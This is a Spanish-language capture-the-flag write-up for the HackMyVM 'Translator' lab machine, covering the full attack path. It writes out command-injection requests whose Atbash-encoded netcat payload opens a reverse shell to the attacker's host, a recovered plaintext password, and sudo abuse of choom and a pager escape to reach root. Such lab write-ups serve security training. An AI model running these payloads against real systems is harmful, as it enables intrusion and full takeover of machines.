cd ~/blog

~/writeups/hmv/077-translator.md

077 - Translator

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
OS Command InjectionCredential ExposureSudo-Allowed Program Abuse
hackmyvm.eu/machines/machine.php?vm=Translator

~1 min de lectura


Enumeración de servicios

Enumeramos puertos:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.83
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.83
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-20 14:28 -04
Nmap scan report for 192.168.1.83
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 08:cf:50:b2:4f:41:43:c4:66:56:ce:96:b9:04:8c:77 (RSA)
|   256 40:b7:11:24:76:59:cd:e0:79:db:71:d1:39:29:d5:45 (ECDSA)
|_  256 44:64:ba:b8:52:4f:ca:00:dd:3e:c3:28:71:6f:77:76 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.46 seconds
❯ gobuster dir -u 'http://192.168.1.83' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/translate.php        (Status: 200) [Size: 20]
...

OS Command Injection después de la transformación Atbash

El sitio es "HMV Translator" y envía el texto mediante el parámetro hmv. Antes de utilizarlo, la aplicación transforma las letras con Atbash, sustituyendo cada una por su opuesta en el alfabeto. Después inserta el resultado en un comando del sistema sin neutralizar metacaracteres, lo que produce OS Command Injection.

La primera petición muestra que id se transforma en rw. En la segunda enviamos id;rw: Atbash produce rw;id, de modo que el primer fragmento falla o no aporta información, pero el texto situado después de ; se convierte en el comando válido id:

❯ curl 'http://192.168.1.83/translate.php?hmv=id'
Translated to:<br>rw
rw

❯ curl 'http://192.168.1.83/translate.php?hmv=id;rw'
Translated to:<br>rw;id
rw
uid=33(www-data) gid=33(www-data) groufs=33(www-data)

Para obtener una reverse shell debemos enviar la preimagen Atbash del comando deseado. La primera petición sirve para observar que nc -e /bin/bash se convierte en mx -v /yrm/yzhs; la segunda envía precisamente esa cadena para que el servidor la transforme de vuelta antes de pasarla al shell:

❯ curl 'http://192.168.1.83/translate.php?hmv=a;nc%20-e%20/bin/bash%20192.168.1.3%201234'
Translated to:<br>z;mx -v /yrm/yzhs 192.168.1.3 1234
z

❯ curl 'http://192.168.1.83/translate.php?hmv=a;mx%20-v%20/yrm/yzhs%20192.168.1.3%201234'

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.83:36146.
whoami
www-data

Recuperación de credenciales

En /var/www/html hay un archivo codificado con la misma sustitución Atbash:

www-data@translator:~/html$ cat hvxivg
Mb kzhhdliw rh zbfie3w4

Que traducido es:

My password is ayurv3d4

La probamos con el usuario ocean (de /etc/passwd) y obtenemos la primera flag:

www-data@translator:~/html$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ocean:x:1000:1000:ocean,,,:/home/ocean:/bin/bash
india:x:1001:1001:,,,:/home/india:/bin/bash

Movimiento lateral con choom

Revisamos sudo -l:

ocean@translator:~$ sudo -l
...
User ocean may run the following commands on translator:
    (india) NOPASSWD: /usr/bin/choom

choom acepta el programa que debe ejecutar después de ajustar su puntuación OOM. Como sudo lo autoriza bajo la identidad de india sin restringir el programa hijo, lo utilizamos para iniciar Bash como esa cuenta:

ocean@translator:~$ sudo -u india choom -n 0 /bin/bash
india@translator:/home/ocean$

Revisamos sudo -l como india:

india@translator:~$ sudo -l
...
User india may run the following commands on translator:
    (root) NOPASSWD: /usr/local/bin/trans

Escalada mediante el pager de trans

trans -M abre su manual dentro de un pager compatible con escapes de shell. La regla de sudo ejecuta todo el proceso como root, así que !/bin/bash hereda esa identidad:

india@translator:~$ sudo /usr/local/bin/trans -M
!/bin/bash
root@translator:/home/india#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados